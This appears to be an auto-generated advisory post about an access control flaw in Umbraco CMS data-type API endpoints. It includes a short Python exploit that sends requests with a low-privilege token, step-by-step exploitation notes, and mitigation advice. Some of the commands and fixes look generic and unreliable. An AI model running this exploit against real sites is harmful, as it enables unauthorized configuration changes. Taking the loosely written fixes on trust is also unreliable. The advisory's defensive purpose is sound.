How the CVE Works:
The vulnerability, CVE-2025-XXXX, in Umbraco CMS arises due to improper access control in the API endpoints responsible for managing data types. In affected versions (>= 15.0.0-rc1, <= 15.2.2 and <= 14.3.2), low-privilege authenticated users can bypass intended restrictions and perform unauthorized actions such as creating or updating data types. These actions are typically reserved for users with administrative or settings-level permissions. The flaw occurs because the API fails to validate user privileges adequately, allowing attackers to escalate their privileges and manipulate critical system configurations. This could lead to data integrity issues, unauthorized changes, or potential disruption of the CMS functionality.
DailyCVE Form:
Platform: Umbraco CMS
Version: 14.3.2, 15.0.0-rc1 to 15.2.2
Vulnerability: Improper API Access Control
Severity: Moderate
Date: March 11, 2025
What Undercode Say:
Exploitation:
1. Exploit Code Example (Python):
import requests
target_url = "http://example.com/umbraco/api/datatype"
headers = {"Authorization": "Bearer <low_privilege_token>"}
payload = {"name": "malicious_type", "config": "malicious_config"}
response = requests.post(target_url, headers=headers, json=payload)
if response.status_code == 200:
print("Data type created successfully!")
else:
print("Exploit failed.")
2. Steps to Exploit:
- Obtain low-privilege user credentials.
- Use the API endpoint `/umbraco/api/datatype` to send POST/PUT requests.
- Bypass access controls to create or modify data types.
Protection:
1. Patch Installation:
- Upgrade to Umbraco CMS versions 14.3.3 or 15.2.3.
- Command to check current version:
umbraco --version
2. Temporary Mitigation:
- Restrict API access using a web application firewall (WAF).
- Example WAF rule:
location /umbraco/api/datatype { deny all; }
3. Code Fix (Custom Validation):
- Implement privilege checks in the API middleware:
public void ConfigureServices(IServiceCollection services) { services.AddAuthorization(options => { options.AddPolicy("SettingsAccess", policy => policy.RequireClaim("role", "admin")); }); }
4. Logging and Monitoring:
- Enable detailed logging for API access:
app.UseMiddleware<ApiAuditMiddleware>();
5. Security Best Practices:
- Regularly audit user roles and permissions.
- Use the principle of least privilege for all accounts.
Analytics:
- Affected Systems: Umbraco CMS installations using versions 14.3.2 or 15.0.0-rc1 to 15.2.2.
- Risk Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
- Exploitability: Low-privilege authenticated access required.
- Impact: Unauthorized data type manipulation, potential system disruption.
References:
Reported By: https://github.com/advisories/GHSA-6ffg-mjg7-585x
Extra Source Hub:
Undercode
